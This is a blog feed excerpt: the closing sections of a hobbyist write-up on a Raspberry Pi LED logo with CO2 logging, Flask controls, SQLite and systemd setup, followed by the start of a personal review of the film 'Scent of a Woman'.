</span></span><span style="display:flex;"><span>band <span style="color:#f92672">=</span> hysteresis_aware_band(ema, last_band, HYST)
</span></span><span style="display:flex;"><span>target <span style="color:#f92672">=</span> BANDS[band]<span style="color:#f92672">.</span>color
</span></span><span style="display:flex;"><span>current <span style="color:#f92672">=</span> lerp(current, target, <span style="color:#ae81ff">0.10</span>)   <span style="color:#75715e"># gentle hue easing</span>
</span></span><span style="display:flex;"><span>level   <span style="color:#f92672">=</span> breathe(<span style="color:#ae81ff">0.25</span> Hz, low<span style="color:#f92672">=</span><span style="color:#ae81ff">10</span>, high<span style="color:#f92672">=</span><span style="color:#ae81ff">220</span>)
</span></span><span style="display:flex;"><span>draw all pixels <span style="color:#f92672">=</span> current <span style="color:#f92672">*</span> level
</span></span></code></pre></div><p><em>Why it’s like this:</em> EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light.</p>
<hr>
<h3 id="67-optional-scd41-sensor-thread-the-polite-listener">6.7 Optional SCD41 sensor thread (the polite listener)</h3>
<p>If the SCD41 is present, a <strong>dedicated thread</strong> owns I²C and updates a global <code>co2_data</code> dict every few seconds. It also logs to a tiny SQLite database.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">_start_sensor</span>():
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">try</span>:
</span></span><span style="display:flex;"><span>    scd4x <span style="color:#f92672">=</span> adafruit_scd4x<span style="color:#f92672">.</span>SCD4X(i2c); scd4x<span style="color:#f92672">.</span>start_periodic_measurement()
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">except</span>: <span style="color:#66d9ef">return</span>  <span style="color:#75715e"># sensor optional</span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">loop</span>():
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">while</span> <span style="color:#66d9ef">True</span>:
</span></span><span style="display:flex;"><span>      time<span style="color:#f92672">.</span>sleep(<span style="color:#ae81ff">5</span>)
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">if</span> scd4x<span style="color:#f92672">.</span>data_ready:
</span></span><span style="display:flex;"><span>        co2_data<span style="color:#f92672">.</span>update({<span style="color:#f92672">...</span>})
</span></span><span style="display:flex;"><span>        db<span style="color:#f92672">.</span>insert(timestamp, co2, temperature, humidity)
</span></span><span style="display:flex;"><span>  threading<span style="color:#f92672">.</span>Thread(target<span style="color:#f92672">=</span>loop, daemon<span style="color:#f92672">=</span><span style="color:#66d9ef">True</span>)<span style="color:#f92672">.</span>start()
</span></span></code></pre></div><p><em>Why it’s like this:</em> one thread owns the bus → no read contention. The controller keeps working even without a sensor.</p>
<hr>
<h3 id="68-scheduler--90-minute-override-humans-win-then-reset">6.8 Scheduler + 90-minute override (humans win, then reset)</h3>
<p>A background thread asks, every few seconds, <strong>which</strong> mode should be running:</p>
<ol>
<li>If the user chose something recently (override), respect it for <code>TTL = 90 min</code> (or the duration set in the UI).</li>
<li>Otherwise, apply the <strong>default schedule</strong> (Wednesday 14–17 → <code>slow</code>, else <code>redpulse</code>).</li>
<li>Save/load the schedule atomically to <code>schedule.json</code>.</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">scheduler_pick</span>():
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> now <span style="color:#f92672">&lt;</span> override_until: <span style="color:#66d9ef">return</span> override_mode
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">for</span> row <span style="color:#f92672">in</span> load_schedule():
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> matches(now, row): <span style="color:#66d9ef">return</span> row[<span style="color:#e6db74">&#34;mode&#34;</span>]
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;redpulse&#34;</span>
</span></span></code></pre></div><p><em>Why it’s like this:</em> you can play DJ for a meeting, and the room quietly returns to its routine afterward.</p>
<hr>
<h3 id="69-the-web-panel-tiny-flask-big-buttons">6.9 The web panel (tiny Flask, big buttons)</h3>
<p>Three pages, no fuss:</p>
<ul>
<li><code>/status</code> — live JSON (<code>/status_data</code>) every second → current mode + CO₂/Temp/Humidity.</li>
<li><code>/control</code> — grid of same-size buttons (respects <strong>Safe Mode</strong>), optional <strong>duration</strong> (0–180 min) with validation.</li>
<li><code>/schedule</code> — simple table editor; <strong>Add Row</strong> and <strong>Save</strong>; writes atomically.</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#a6e22e">@app.post</span>(<span style="color:#e6db74">&#34;/set&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">set_mode</span>():
</span></span><span style="display:flex;"><span>  mode <span style="color:#f92672">=</span> request<span style="color:#f92672">.</span>form[<span style="color:#e6db74">&#34;mode&#34;</span>]
</span></span><span style="display:flex;"><span>  minutes <span style="color:#f92672">=</span> clamp( int(form[<span style="color:#e6db74">&#34;duration&#34;</span>]), <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">180</span> )
</span></span><span style="display:flex;"><span>  set_override(mode, minutes)
</span></span><span style="display:flex;"><span>  run_animation(animations[mode][<span style="color:#e6db74">&#34;fn&#34;</span>])
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> redirect(<span style="color:#e6db74">&#34;/control&#34;</span>)
</span></span></code></pre></div><p><em>Why it’s like this:</em> minimal routes are easier to maintain and don’t compete with the art piece.</p>
<hr>
<h3 id="610-boot-choreography">6.10 Boot choreography</h3>
<p>At startup I:</p>
<ol>
<li>Try the <strong>sensor thread</strong> (if hardware is there).</li>
<li>Start the <strong>scheduler thread</strong>.</li>
<li>Immediately play <strong>redpulse</strong> (so there’s a friendly glow right away).</li>
<li>Start Flask; on shutdown I <strong>clear the strip</strong>.</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">if</span> __name__ <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;__main__&#34;</span>:
</span></span><span style="display:flex;"><span>  _start_sensor()
</span></span><span style="display:flex;"><span>  threading<span style="color:#f92672">.</span>Thread(target<span style="color:#f92672">=</span>scheduler_loop, daemon<span style="color:#f92672">=</span><span style="color:#66d9ef">True</span>)<span style="color:#f92672">.</span>start()
</span></span><span style="display:flex;"><span>  run_animation(redpulse)
</span></span><span style="display:flex;"><span>  app<span style="color:#f92672">.</span>run(host<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;0.0.0.0&#34;</span>, port<span style="color:#f92672">=</span><span style="color:#ae81ff">5000</span>)
</span></span></code></pre></div><p><em>Why it’s like this:</em> the room sees something alive instantly; the scheduler will swap in the “real” choice within a few seconds.</p>
<hr>
<h3 id="tldr-but-keep-the-vibes">TL;DR (but keep the vibes)</h3>
<ul>
<li><strong>Frame-diff</strong> = no flashes.</li>
<li><strong>EMA + hysteresis</strong> = smooth, truthful color.</li>
<li><strong>Breathing</strong> = presence, not signage.</li>
<li><strong>Threads per thing</strong> (LEDs / sensor / scheduler) = no fights.</li>
<li><strong>Atomic files</strong> = no corrupted schedules.</li>
<li><strong>Safe Mode</strong> by default = people &gt; pixels.</li>
</ul>
<p>That’s it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty.</p>
<h3 id="why-this-shape-of-code">Why this shape of code?</h3>
<ul>
<li><strong>One thread per hardware thing.</strong> The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides <em>what</em> to run and when. No bus fights.</li>
<li><strong>Frame diff.</strong> I only call <code>strip.show()</code> when a pixel actually changes. That’s why it doesn’t randomly flash during web requests.</li>
<li><strong>Atomic schedule saves.</strong> The code writes to a temporary file and replaces the old one so a mid‑save power cut can’t corrupt the schedule.</li>
</ul>
<blockquote>
<p>No, you don’t <em>need</em> the sensor. If it’s not connected, the app still runs; <code>co2_monitor</code> just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don&rsquo;t you agree?</p></blockquote>
<hr>
<h2 id="7-sensor-database--what-it-stores-where-it-lives-and-how-far-it-goes">7) Sensor Database — what it stores, where it lives, and how far it goes</h2>
<p>This project logs room conditions to a <strong>tiny SQLite database</strong> so you can graph trends, spot stuffy meetings, and keep a record without running a separate server.</p>
<h3 id="whats-stored">What’s stored</h3>
<p>A single table called <code>readings</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">CREATE</span> <span style="color:#66d9ef">TABLE</span> <span style="color:#66d9ef">IF</span> <span style="color:#66d9ef">NOT</span> <span style="color:#66d9ef">EXISTS</span> readings (
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">timestamp</span>   TEXT <span style="color:#66d9ef">PRIMARY</span> <span style="color:#66d9ef">KEY</span>,   <span style="color:#75715e">-- &#34;YYYY-MM-DD HH:MM:SS&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  co2         INTEGER,            <span style="color:#75715e">-- ppm
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  temperature REAL,               <span style="color:#75715e">-- °C
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  humidity    REAL                <span style="color:#75715e">-- %
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>);
</span></span></code></pre></div><ul>
<li>One row per sample (typically every <strong>5–60 seconds</strong>; slow it down to reduce writes).</li>
<li><code>timestamp</code> is the primary key → easy “latest” queries and natural time ordering.</li>
</ul>
<h3 id="where-the-file-lives">Where the file lives</h3>
<ul>
<li>Path is configurable via env var <code>DB_PATH</code> (see your systemd unit).</li>
<li>Default: <code>sensor.db</code> in the app’s working directory (e.g. <code>/home/pi/inet-led/sensor.db</code>).</li>
</ul>
<p>Check size:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ls -lh /home/pi/inet-led/sensor.db
</span></span></code></pre></div><h3 id="how-writes-happen-and-why-its-safe">How writes happen (and why it’s safe)</h3>
<ul>
<li>The <strong>sensor thread</strong> owns I²C and inserts a row only when the sensor reports <code>data_ready</code>.</li>
<li>Inserts are short and journaling protects against power loss.</li>
<li>For friendlier read/write concurrency, enable WAL once at startup:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span>PRAGMA journal_mode <span style="color:#f92672">=</span> WAL;
</span></span><span style="display:flex;"><span>PRAGMA synchronous <span style="color:#f92672">=</span> NORMAL;
</span></span></code></pre></div><h3 id="typical-size--retention">Typical size &amp; retention</h3>
<p>Back-of-envelope:</p>
<ul>
<li>~100–200 bytes per row (including overhead).</li>
<li>1 sample/minute → ~1,440 rows/day → <strong>~150–300 KB/day</strong> → <strong>55–110 MB/year</strong>.</li>
<li>If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling).</li>
</ul>
<p>Prune old data (keep last 90 days):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">DELETE</span> <span style="color:#66d9ef">FROM</span> readings
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">WHERE</span> <span style="color:#66d9ef">timestamp</span> <span style="color:#f92672">&lt;</span> date(<span style="color:#e6db74">&#39;now&#39;</span>,<span style="color:#e6db74">&#39;-90 day&#39;</span>);
</span></span></code></pre></div><p>(Optionally run <code>VACUUM;</code> after large deletes to reclaim file space.)</p>
<h3 id="useful-queries">Useful queries</h3>
<p><strong>Latest reading:</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">SELECT</span> <span style="color:#f92672">*</span> <span style="color:#66d9ef">FROM</span> readings <span style="color:#66d9ef">ORDER</span> <span style="color:#66d9ef">BY</span> <span style="color:#66d9ef">timestamp</span> <span style="color:#66d9ef">DESC</span> <span style="color:#66d9ef">LIMIT</span> <span style="color:#ae81ff">1</span>;
</span></span></code></pre></div><p><strong>Range for charts (last 7 days):</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">SELECT</span> <span style="color:#f92672">*</span> <span style="color:#66d9ef">FROM</span> readings
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">WHERE</span> <span style="color:#66d9ef">timestamp</span> <span style="color:#f92672">&gt;=</span> datetime(<span style="color:#e6db74">&#39;now&#39;</span>,<span style="color:#e6db74">&#39;-7 day&#39;</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">ORDER</span> <span style="color:#66d9ef">BY</span> <span style="color:#66d9ef">timestamp</span>;
</span></span></code></pre></div><p><strong>Downsample to hourly averages (30 days):</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">SELECT</span> strftime(<span style="color:#e6db74">&#39;%Y-%m-%d %H:00:00&#39;</span>, <span style="color:#66d9ef">timestamp</span>) <span style="color:#66d9ef">AS</span> hour,
</span></span><span style="display:flex;"><span>       <span style="color:#66d9ef">AVG</span>(co2) <span style="color:#66d9ef">AS</span> co2, <span style="color:#66d9ef">AVG</span>(temperature) <span style="color:#66d9ef">AS</span> t, <span style="color:#66d9ef">AVG</span>(humidity) <span style="color:#66d9ef">AS</span> h
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">FROM</span> readings
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">WHERE</span> <span style="color:#66d9ef">timestamp</span> <span style="color:#f92672">&gt;=</span> datetime(<span style="color:#e6db74">&#39;now&#39;</span>,<span style="color:#e6db74">&#39;-30 day&#39;</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">GROUP</span> <span style="color:#66d9ef">BY</span> hour
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">ORDER</span> <span style="color:#66d9ef">BY</span> hour;
</span></span></code></pre></div><p><strong>Export to CSV (example via sqlite3 CLI):</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sqlite3 /home/pi/inet-led/sensor.db <span style="color:#e6db74">&lt;&lt;&#39;SQL&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">.headers on
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">.mode csv
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">.output /home/pi/inet-led/export_readings.csv
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SELECT * FROM readings ORDER BY timestamp;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">.output stdout
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SQL</span>
</span></span></code></pre></div><h3 id="sd-card-friendliness">SD card friendliness</h3>
<ul>
<li>Choose a sensible interval (e.g., <strong>30–60 s</strong>).</li>
<li>Optionally buffer in memory and write every N samples.</li>
<li>Prefer WAL mode; periodically prune &amp; vacuum.</li>
<li>If you care about card wear, place the DB on USB/SSD.</li>
</ul>
<h3 id="backups--restore">Backups &amp; restore</h3>
<p><strong>Nightly backup (simple):</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sqlite3 /home/pi/inet-led/sensor.db <span style="color:#e6db74">&#34;.backup &#39;/home/pi/backup/sensor-</span><span style="color:#66d9ef">$(</span>date +%F<span style="color:#66d9ef">)</span><span style="color:#e6db74">.db&#39;&#34;</span>
</span></span></code></pre></div><p><strong>Restore:</strong></p>
<ol>
<li><code>sudo systemctl stop inet-led</code></li>
<li>Copy backup file back to <code>/home/pi/inet-led/sensor.db</code></li>
<li><code>sudo systemctl start inet-led</code></li>
</ol>
<h3 id="security--permissions">Security &amp; permissions</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>chown pi:pi /home/pi/inet-led/sensor.db
</span></span><span style="display:flex;"><span>chmod <span style="color:#ae81ff">600</span> /home/pi/inet-led/sensor.db
</span></span></code></pre></div><p>Keep the app directory non-world-readable.</p>
<h3 id="is-sqlite-the-right-choice">Is SQLite the right choice?</h3>
<p><strong>Yes, for a single Pi</strong> logging every few seconds and rendering local charts:</p>
<ul>
<li>✅ Zero admin, a single file, reliable journaling, great performance at this scale.</li>
<li>⚠️ One writer at a time (I only have the sensor thread writing, so it’s fine).</li>
<li>⬆️ If you later need multi-device ingestion, alerts, or &gt;10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports.</li>
</ul>
<h3 id="tldr">TL;DR</h3>
<p>SQLite is perfect here: <strong>simple, robust, easy to back up</strong>. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi.</p>
<hr>
<h2 id="8-run-at-boot-systemd">8) Run at Boot (systemd)</h2>
<p>I wrote this simple systemd to <code>/etc/systemd/system/inet-led.service</code> so that it runs the script when RPi boots up:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ini" data-lang="ini"><span style="display:flex;"><span><span style="color:#66d9ef">[Unit]</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Description</span><span style="color:#f92672">=</span><span style="color:#e6db74">INET LED Panel</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">After</span><span style="color:#f92672">=</span><span style="color:#e6db74">network.target</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">[Service]</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">ExecStart</span><span style="color:#f92672">=</span><span style="color:#e6db74">/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">WorkingDirectory</span><span style="color:#f92672">=</span><span style="color:#e6db74">/home/pi/inet-led</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Restart</span><span style="color:#f92672">=</span><span style="color:#e6db74">always</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">User</span><span style="color:#f92672">=</span><span style="color:#e6db74">pi</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Environment</span><span style="color:#f92672">=</span><span style="color:#e6db74">LED_COUNT=78</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Environment</span><span style="color:#f92672">=</span><span style="color:#e6db74">SCHEDULE_FILE=/home/pi/inet-led/schedule.json</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Environment</span><span style="color:#f92672">=</span><span style="color:#e6db74">DB_PATH=/home/pi/inet-led/sensor.db</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">[Install]</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">WantedBy</span><span style="color:#f92672">=</span><span style="color:#e6db74">multi-user.target</span>
</span></span></code></pre></div><p>Then you can run:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo systemctl daemon-reload
</span></span><span style="display:flex;"><span>sudo systemctl enable --now inet-led
</span></span><span style="display:flex;"><span>journalctl -u inet-led -f
</span></span></code></pre></div><p>to control the systemd service.</p>
<hr>
<h2 id="9-soldering-notes-a-love-letter-to-hot-glue">9) Soldering Notes (a love letter to hot glue)</h2>
<ul>
<li><strong>Tin first, solder second.</strong> Tiny pads like tiny puddles. Fast in/out, no lifted pads.</li>
<li><strong>Stagger joints</strong> so nothing stacks under the diffuser.</li>
<li><strong>Heat‑shrink + a dot of hot glue</strong> = happier future you.</li>
<li><strong>Continuity before power.</strong> Multimeter first, electrons last.</li>
<li>If a pad <em>does</em> lift: magnet wire to a trace, UV mask to seal. Ugly heroics, but it works.</li>
</ul>
<p>Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable&hellip; So&hellip; yea.</p>
<hr>
<h2 id="10-why-these-design-choices">10) Why these design choices?</h2>
<ul>
<li><strong>Calm motion, not flashy.</strong> Meeting rooms breed fatigue; the light should be a helper, not a distraction.</li>
<li><strong>Cyan→Purple language.</strong> Easy to learn, visible at a glance, meaningful without numbers.</li>
<li><strong>White charts, dark UI.</strong> Data should be legible on a projector; buttons shouldn’t shout.</li>
<li><strong>Safe Mode default.</strong> People first. Demos are opt‑in.</li>
<li><strong>PLA body, PLA diffuser.</strong> Fast and easy rapid prototyping, easy and fast printing.</li>
</ul>
<hr>
<h2 id="11-what-i-learned">11) What I learned</h2>
<ul>
<li>A logo is a better messenger than a dashboard.</li>
<li>Everyone knows what <strong>orange</strong> means without a legend.</li>
<li>If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering!</li>
<li>Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^</li>
</ul>
<hr>
<h2 id="12-final-notes">12) Final notes</h2>
<p>I did this project as a fun distraction and &ldquo;not work&rdquo; as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I&rsquo;m so so thankful of my advisor for this cool idea, and all the support. It&rsquo;s not the first time I&rsquo;ve been gifted such toys, and as I have recieved other things after that, I know it&rsquo;s not the last.</p>
<p>There is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let&rsquo;s hope that doesn&rsquo;t turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!*</p>
<p>The whole project took around 8 days, 4 of which were part of a long weekend. I did do some &ldquo;not work&rdquo; as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don&rsquo;t know how the group feels/thinks about the logo, but I love it! I hope it won&rsquo;t die after I leave, but even if so, so be it. I had my fun with it. :)</p>
<hr>
<div class="signature-block" style="margin-top:1rem">
  <p><strong>Downloads:</strong>
    <a href="/sources/posts/inet_logo.md">Markdown</a> ·
    <a href="/sources/posts/inet_logo.md.asc">Signature (.asc)</a>
  </p><details class="signature">
    <summary>View OpenPGP signature</summary>
    <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----

iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM
jSoc5w/&#43;Ij7a9UuglnzXQSMNA8VkN84qokmVTaI9mN6BY/aJQLjWWwJFi5Ih7qKw
0oWl2ZZ6FHKdAo2&#43;gAajxhg0vf0DUGZNwsD0NJsHAuei8ezvgb4TKIfAMspKC&#43;9J
CgcvqbZdC&#43;M2c3PcPPA4UV5reYclf9PisEsmJSiR&#43;cyDaCtNJkYjQ9SSZMO&#43;BV93
k6I20tEILeR/l72ahSGyGCQxFTkI&#43;cE5EOglG&#43;AJP7HnLArcBUplixjLS7j/gq13
U/TeRhI5R6RG0sCzaTsyUMhfc/7be0PeU5EZTf8e21dv6c6RRWiYe&#43;kXXv1wH1yE
sfJnMxiQ2YJqxUXDjJNJt1R&#43;4yWpznmqYoOcW1/T8ySuYCrzx5XBdGB9XThQAxZg
sDsV6dgcPJUSvpuZqPmQicTu/&#43;BL9QdmB4bASxDhRUX2KkK1RKRTBGP73l79vUmP
QUuBm7o7sHpSUax7CEE&#43;vbjC9FubL5D6i6nSIesTImpR2P7ycaWboFPYREC2q3ma
B/WmnHiYbrhiLMNRrAHFdiCSHPd9JKiNK&#43;9C8ASsDpEz8yvf2Ef9yhp0sYZ6ZBkb
Bs&#43;BKOoDWDsI7NkT/hFBeWMrTTWpTDoRf2UGk1HI2Iaz7Fh&#43;hXljpEPyQ/Mq3s0X
o9h8Z1rq9m7nIwmpLNW&#43;vEiL81/SrnjJE8/&#43;kA/&#43;J2p9TNBYcn8=
=tAeg
-----END PGP SIGNATURE-----
</pre>
  </details><p><em>Verify locally:</em></p>
  <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/inet_logo.md
curl -fSLO https://blog.alipour.eu/sources/posts/inet_logo.md.asc
gpg --verify inet_logo.md.asc inet_logo.md
  </pre>
</div>


]]></content:encoded></item><item><title>Movie review: Scent of a Woman</title><link>https://blog.alipour.eu/posts/scent_of_a_woman/</link><pubDate>Mon, 13 Oct 2025 08:52:10 +0000</pubDate><guid>https://blog.alipour.eu/posts/scent_of_a_woman/</guid><description>My reaction to the movie as a not so pro movie watcher</description><content:encoded><![CDATA[<p>I&rsquo;m not a big movie watcher.
In fact, I don&rsquo;t remember the last time I watched a whole movie in a single day.
It&rsquo;s not that I don&rsquo;t enjoy it, it&rsquo;s that I want to do this with at least another person.
It feels much better to not be alone when watching a movie for me for some reason. Buuuut, I watched <a href="https://www.imdb.com/title/tt0105323">Scent of a Woman</a> on Sunday, and after my therapist encouraged me to do so.</p>
<p>Few points before I begin.</p>
<ul>
<li>This was aside from the therapy session.</li>
<li>My therapist does not tell me what to do, or if I&rsquo;m wrong or right or anything like that.</li>
<li>I watched this movie in about two parts in a single day!</li>
<li>I knew Al Pacino&rsquo;s face from Godfather series, but didn&rsquo;t know his name.</li>
<li>I&rsquo;m not a big movie person, so whatever I say should be taken with a grain of salt. Just don&rsquo;t be offended, take it face up and as is.</li>
</ul>
<p>The movie is about a good young student named Chris O&rsquo;Donnell, played by Charlie Simms ,who is dependent on a scholarship to continue his studies after school, worthy of going to Harvard.</p>
<p>The second main character of the movie is a blind man called Lt. Col. Frank Slade, played by Al Pacino, who is an arrogant, rude, assertive, proud, self-centered person that gives bad vibes throughout the movie.</p>
<p>Chris needs to work over the thanksgiving weekend, just to be able to make it home during Christmas.
He lives with his mother, and a not so nice step-father who isn&rsquo;t really there for him.</p>
<p>When taking the job to watch over Frank, he quickly realizes what a hard task this will be, but the lady who hires him (Karen Rossie) being his niece assures him that he is a pile of suger under these bad vibes, and that she needs him to do this for her for these fea days.
At last Chris agrees.</p>
<p>Upon Karen&rsquo;s leaving, Frank gets ready for a trip to New York.
To do his last vows before taking his own life without Chris knowing this.</p>
<p>He plans staying at a nice hotel, having an awesome Meal at a gorgeous restaurant, seeing a woman, his brother, and then taking his own life.</p>
<p>Frank is in love with Jack Daniel&rsquo;s and cannot get enough of it.
Throughout the movie this drunk, addiction-like behaviour is portrayed.</p>
<p>Frank also learns about a problem Chris is facing.
Chris is being forced to snitch on a group of the people he knows, or he will be expelled and loses his chance to got o Harvard with another scholarship.
He doesn&rsquo;t want to snitch, but frank learns about this, he encourages him to take the deal.</p>
<p>Frank then tries to teach Chris how to flirt, how to get woman, and how to be a gentleman.
There is an amazing scene in the movie where Frank tries to setup Chris with a girl who is waiting for her boyfriend!
He dances Tango with her and this scene is probably the most majestic scene in any movie I have ever seen.
The feelings I got were so strong and positive that I just cannot express!</p>
<p>In the end, when Frank wants to take his own life, Chris stops him and talks him out of it.
He helps him to ride a Ferrari, the second thing he liked in his life (the first thing was woman lmao!).
A police officer stopped them because they were going too fast, and Frank spoke his way out of the ticket!
The officer didn&rsquo;t even recognize Frank was blind!!!!</p>
<p>After these emotional roller coaster, Chris became ever-so attached to Frank, and so did Frank become attached to Chris, showing up to an open student hearing in place of Chris&rsquo;s parent.</p>
<p>Chris ended up not snitching, and Frank spoke up for him, saying how big of a man is he!
How valuable he is, and how disgusting the acts of the other kid who also could snitch but hid behind his father&rsquo;s back was.</p>
<p>In essense, the movie was amazing, with great acting all over it.
The characters portreayed their roles as amazingly as possible.
I loved the movie and how we got to know the characters more and more as the movie went on, and how the story progressed.</p>
<p>The story was also amazing.
Characters really added life to the scenes by their amazing play.
Donna did the tango dance professionaly.
Al Pacino played to role of a blind man very well, you would easily be fooled by his amazing acting.</p>
<p>That leaves me thinking about why did my therapist suggested me to watch this movie and asked me to tell him how I felt and how I thought about the movie?</p>
<p>Was it about Frank?
That I was trying to be Chris, protecting and caring for Frank, although his behaviour is horrible?
